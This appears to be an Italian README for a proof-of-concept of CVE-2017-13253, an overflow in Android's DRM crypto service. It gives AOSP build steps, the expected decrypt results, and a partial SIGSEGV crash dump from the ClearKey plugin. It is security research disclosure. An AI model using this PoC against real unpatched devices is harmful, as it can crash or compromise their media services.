
Codice PoC per CVE-2017-13253
Codice PoC per CVE-2017-13253.
L'articolo completo è disponibile qui. Nota che i numeri sono leggermente diversi da quelli del post del blog, poiché ho scoperto che c'è una maggiore probabilità di crash con un heap di 0x2000 (ovviamente se lo esegui abbastanza volte dovrebbe comunque crashare).
Per domande/problemi/commenti sei libero di contattarmi su Twitter (@tamir_zb).
Per compilare questo progetto:
AOSP/external. cd AOSP
source build/envsetup.sh
make icrypto_overflow
Eseguirlo contro una versione non patchata di Android (8.0-8.1 prima di marzo 2018) dovrebbe provocare un overflow. Questo potrebbe causare un crash, a seconda che i dati sovrascritti siano scrivibili o meno.
Il codice dovrebbe stampare l'output del metodo decrypt, che può variare:
decrypt dovrebbe restituire BAD_VALUE (-22).decrypt dovrebbe restituire la quantità di dati copiati.decrypt dovrebbe restituire UNKNOWN_ERROR (-32).decrypt dovrebbe restituire 0.Ecco un dump di crash parziale risultante dall'esecuzione di questo PoC:
Build fingerprint: 'google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys'
Revision: 'MP1'
ABI: 'arm'
pid: 761, tid: 5232, name: HwBinder:761_1 >>> /vendor/bin/hw/[email protected] <<<
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xee20f000
r0 ee20f000 r1 ee20d021 r2 00001eff r3 00000001
r4 00000001 r5 00000000 r6 ed117008 r7 00000000
r8 00000000 r9 fffff82a sl ee20d000 fp ee20efff
ip 08000000 sp ed2893c8 lr ed369e6b pc edda7f0c cpsr 20070010
backtrace:
#00 pc 00018f0c /system/lib/libc.so (__memcpy_base+244)
#01 pc 00004e67 /vendor/lib/mediadrm/libdrmclearkeyplugin.so (clearkeydrm::CryptoPlugin::decrypt(bool, unsigned char const*, unsigned char const*, android::CryptoPlugin::Mode, android::CryptoPlugin::Pattern const&, void const*, android::CryptoPlugin::SubSample const*, unsigned int, void*, android::AString*)+82)
...
memory map (205 entries):
(fault address prefixed with --->)
...
ee20d000-ee20efff rw- 0 2000 /dev/ashmem/MemoryHeapBase (deleted)
--->ee20f000-ee20ffff --- 0 1000 [anon:thread signal stack guard page]
...
Come puoi vedere, l'indirizzo di fault è la memoria subito dopo la memoria condivisa. Poiché questa memoria è protetta in scrittura, l'overflow ha provocato un segmentation fault.